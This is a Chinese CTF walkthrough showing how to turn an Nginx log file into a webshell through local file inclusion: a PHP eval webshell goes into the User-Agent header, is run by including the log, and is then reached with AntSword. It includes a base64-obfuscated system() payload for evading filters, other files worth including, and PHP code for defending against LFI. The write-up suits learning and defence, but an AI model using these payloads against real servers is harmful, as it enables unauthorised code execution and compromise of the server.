1. 从日志文件入手:寻找攻击的“入口”
很多刚开始接触CTF Web安全挑战的朋友,一看到题目可能有点懵,不知道从哪里下手。我刚开始玩CTF的时候也是这样,面对一个看似正常的网站,感觉无从下嘴。后来我发现,很多题目其实都藏着一个“入口”,这个入口往往就是一些看似不起眼,但服务器却会记录下来的文件。日志文件,就是其中最经典的一个。
为什么日志文件这么重要?你可以把它想象成服务器的“监控摄像头”或者“工作日记”。服务器每处理一个请求,比如你访问了一个网页,它都会在日志里记上一笔:谁(IP地址)在什么时间,访问了什么地址,用的什么浏览器,服务器返回了什么结果。对于Nginx这种最常用的Web服务器来说,这个“日记本”通常就放在 /var/log/nginx/access.log 这个位置。题目里直接给了这个路径提示,这已经算是非常友好了。在实际的渗透测试或者一些更隐蔽的CTF题里,你可能需要通过信息搜集、目录爆破或者读取配置文件(比如 /etc/nginx/nginx.conf)才能找到日志文件的确切路径。
那么,我们怎么去“看”这个日记本呢?如果服务器存在文件读取漏洞,我们就能直接让服务器把文件内容吐给我们看。常见的利用点就是像 file=、url=、path= 这类参数。在这道题里,我们看到它使用了 ?url=/var/log/nginx/access.log 这样的方式。这很可能是一个文件包含或者任意文件读取的漏洞点。我们直接在浏览器里访问类似 http://靶机地址/?url=/var/log/nginx/access.log 的链接,服务器就会把access.log文件的内容显示在网页上。
当你第一次看到Nginx的access.log时,可能会被那一行行密密麻麻的文本吓到。别急,它的格式是有规律的,通常包括:客户端的IP地址、访问时间、请求方法(GET/POST)、请求的URL路径、HTTP状态码(200成功,404找不到等)、返回数据大小,以及一个非常非常重要的字段——User-Agent。User-Agent记录了客户端浏览器或工具的类型,比如你是用Chrome、Firefox还是curl命令访问的。这个字段,就是我们接下来要大做文章的地方。
2. 利用Burp Suite:在日志中“埋下”后门
找到了日志文件,只是看到了“监控录像”。我们的目标不是当观众,而是要成为“演员”,让自己在日志里留下点特别的东西。这道题的精妙之处就在于,它利用了服务器会记录User-Agent这个特性。我们能不能控制User-Agent的内容呢?当然可以!任何发送HTTP请求的工具都可以自定义请求头,而 Burp Suite 正是我们做这件事的神器。
Burp Suite对于Web安全学习者来说,就像木匠手里的锤子,是基础且必备的工具。它充当一个中间人代理,你的浏览器所有流量都经过它,你可以拦截、查看、修改任何一个请求,然后再发送给服务器。这里我们就要修改HTTP请求中的User-Agent头。
具体操作步骤,我一步步带你走一遍。首先,确保你的浏览器代理设置指向Burp Suite(通常是127.0.0.1:8080),并且Burp的代理拦截(Intercept)是开启状态。然后,在浏览器中访问靶机地址,或者触发那个包含日志文件的请求。这时,请求会被Burp Suite拦截下来。
你会在Burp的拦截面板里看到原始的HTTP请求。找到 User-Agent: 这一行,它后面可能跟着 Mozilla/5.0... 这样一串描述浏览器的长字符串。我们的任务就是把这一整段替换成我们的PHP后门代码。题目中给出的后门是 <?php eval($_POST['1']);?>。这是一句非常简短的PHP代码,eval()函数会执行它接收到的字符串作为PHP代码,而$_POST['1']意味着它会接收一个名为“1”的POST参数,并执行参数里的代码。这相当于给了我们一个远程执行任意PHP命令的能力。
注意:在Burp Suite里直接输入
<、>这类符号是没问题的,不需要像在HTML页面里那样转义成<和>。我们修改的是原始的HTTP请求数据包。
修改完成后,点击“Forward”按钮,将这个携带了特殊User-Agent的请求发送给服务器。服务器处理这个请求,它并不会执行User-Agent里的PHP代码(因为User-Agent只是被当作一个字符串记录),但它会忠实地把整个请求,包括这个奇怪的User-Agent,一行不漏地写入到 /var/log/nginx/access.log 文件里。这样一来,我们的后门代码就以纯文本的形式,“躺”在了服务器的日志文件中了。这个过程就像把一把钥匙藏在了门口的脚垫下面,钥匙本身不会开门,但知道位置的人就能用它来开门。
3. 连接后门:让日志文件“活”起来
现在,后门代码已经埋进了日志文件。但它还只是一段静态文本,怎么让它变成能执行的“活”后门呢?这就涉及到第二个关键漏洞——文件包含漏洞。我们最初用来读取日志的那个 ?url= 参数,很可能不是一个简单的文件读取,而是一个能够将本地文件内容包含进当前PHP脚本执行的漏洞。
在PHP中,有 include、require 这类函数,如果开发者不小心将用户可控的变量直接传递给了这些函数,攻击者就可以让服务器包含并执行任意本地文件。假设服务器端的代码是这样的:
<?php
$file = $_GET['url'];
include($file);
?>
那么当我们传入 ?url=/var/log/nginx/access.log 时,服务器就会把access.log文件的内容包含进来。如果这个文件里包含PHP代码(比如我们刚才写入的 <?php eval(...)?>),那么这些PHP代码就会被执行!这就是日志文件变成Webshell的原理:我们先把恶意代码写入一个可被包含的文件(日志),然后利用文件包含漏洞去执行这个文件中的代码。
所以,接下来的步骤就是再次利用这个包含漏洞。我们使用中国菜刀、蚁剑(AntSword)或冰蝎(Behinder)这类Webshell管理工具来连接。以蚁剑为例,操作如下:
- 打开蚁剑,点击“添加”按钮。
- URL地址:这里填写存在文件包含漏洞的地址,格式为
http://靶机地址/?url=/var/log/nginx/access.log。题目特意提醒“删除https协议里的s”,如果靶机地址是https,可能证书有问题或环境限制,改成http更稳妥。 - 连接密码:这里填写我们后门代码中设定的密码。我们的后门是
eval($_POST['1']),这意味着我们通过POST方式传递一个名为“1”的参数,参数值就是我们要执行的命令。在蚁剑的上下文里,这个“1”就是连接密码。所以在密码框里,我们填写1。 - 其他设置通常保持默认,然后点击“添加”。
如果一切顺利,蚁剑会成功连接。连接成功后,你就能看到一个虚拟的文件管理器,可以浏览服务器上的目录、查看文件、上传下载,甚至执行系统命令。这道题的目标是找到flag,通常flag文件会放在Web根目录(如 /var/www/html/)或者起一个很明显的名字。我们就在蚁剑的文件管理里,导航到 /var/www/html/ 目录(或者它的上一级 www 目录),寻找类似 flag.txt、flag、flag.php 的文件。找到后,直接双击打开或下载查看,就能拿到最终的flag字符串。
4. 漏洞原理深度剖析与防御思考
走通了整个流程,我们不妨回过头来,深入拆解一下这道题背后涉及的两个核心漏洞原理,以及我们在实际开发中该如何避免。
第一个漏洞:日志写入与代码注入。 这其实不是一个传统意义上的“注入”漏洞。服务器并没有错误地执行User-Agent字段。问题的根源在于,应用程序将用户完全可控的输入,未经任何过滤地写入了到一个后续可能被解释执行的文件中。这是一种“二次注入”或“间接代码注入”的思路。防御方法非常明确:第一,对写入日志的内容进行严格的过滤和转义,至少应该过滤掉文件中的换行符和PHP标签等特殊字符;第二,也是更重要的,将日志文件存储在Web目录之外,确保其无法通过HTTP请求直接或间接访问到。
第二个漏洞:本地文件包含(LFI)。 这是本道题得以成功的直接推手。文件包含漏洞的危害性极高,因为它可以直接导致远程代码执行(RCE)。防御LFI漏洞有几种常见策略:
- 白名单机制:如果必须使用文件包含功能,应该基于白名单,只允许包含预设的几个安全文件。
$allowed_files = ['header.php', 'footer.php', 'sidebar.php']; $file = $_GET['module']; if (in_array($file, $allowed_files)) { include('./modules/' . $file); } else { include('./modules/default.php'); } - 路径固定:避免用户输入包含任何路径遍历字符(
../)。可以强制添加固定前缀后缀。$file = './templates/' . basename($_GET['template']) . '.php'; // basename()函数会去掉路径部分,只保留文件名 include($file); - 避免动态包含:从根本上反思业务逻辑,是否真的需要动态包含文件。很多情况下可以通过路由或函数调用来实现。
这道题将这两个漏洞串联起来,形成了一个非常经典的“写入-包含”攻击链。在真实的渗透测试中,这种思路也经常被用到,比如将代码写入到 /proc/self/environ(环境变量)、/var/lib/php/sessions/sess_xxx(Session文件)等可以被包含的地方。
5. 实战扩展与技巧提升
掌握了基础解法,我们可以再往前想一步,玩出更多花样,应对更复杂的情况。
情况一:如果日志文件路径不是默认的怎么办? 这就需要信息搜集。我们可以尝试读取Nginx的配置文件 /etc/nginx/nginx.conf 或各个站点的配置文件(通常在 /etc/nginx/sites-enabled/ 下),从中查找 access_log 指令来定位日志路径。也可以尝试常见的日志路径,如 /var/log/httpd/access_log(Apache)、/usr/local/nginx/logs/access.log 等。
情况二:如果后门代码被转义或过滤了怎么办? 我们写入的 <?php ... ?> 可能会被WAF(Web应用防火墙)或服务器自身的日志处理机制过滤。这时候可以尝试编码混淆。比如,将后门代码进行Base64编码,然后写入一个能解码执行的Payload。
我们可以将 <?php system($_GET[‘cmd’]);?> 编码后,写入这样的User-Agent:
<?php eval(base64_decode(‘c3lzdGVtKCRfR0VUWydjbWQnXSk7’));?>
或者利用PHP的 assert 函数、动态函数调用 $f($_POST[‘a’]) 等方式进行变形,绕过简单的关键字检测。
情况三:利用其他可写、可包含的文件。 日志文件不是唯一的选择。在Linux系统中,我们还可以考虑:
- Session文件:如果网站使用了PHP Session,且Session文件存储在默认位置(如
/tmp/或/var/lib/php/sessions/),并且我们知道或能预测Session ID(PHPSESSID),我们就可以通过Cookie控制Session内容,将代码写入Session文件,再包含它。 - 临时文件/上传文件:如果存在文件上传功能,哪怕有校验,也可能存在竞争条件漏洞,在文件被删除前包含它。
- /proc文件系统:例如,通过
?url=/proc/self/environ可以读取当前进程的环境变量,有时环境变量(如HTTP_USER_AGENT)是用户可控的,这就又回到了类似的利用链。
工具使用的技巧: 在Burp Suite中,除了手动拦截修改,我们还可以使用 Repeater 模块。在Proxy的历史记录里,找到那个初始的请求,右键发送到Repeater。在Repeater里,你可以随意修改User-Agent等参数,反复发送测试,而不用每次都开启拦截,效率更高。对于更复杂的Payload,还可以使用 Intruder 模块进行模糊测试和自动化攻击。
最后,我想说的是,CTF题目是现实漏洞的简化与抽象。这道Web4题目清晰地展示了一个“由信息泄露到代码执行”的完整攻击链路。理解并掌握它,不仅是为了解一道题,更是为了在今后面对真实系统时,能具备发现此类链式漏洞的嗅觉。真正的安全防护,需要我们在每一个环节——从用户输入处理、到日志记录、再到文件操作——都保持警惕,贯彻最小权限和纵深防御的原则。多动手复现几次这个流程,你会有更深的体会。
460



被折叠的 条评论
为什么被折叠?



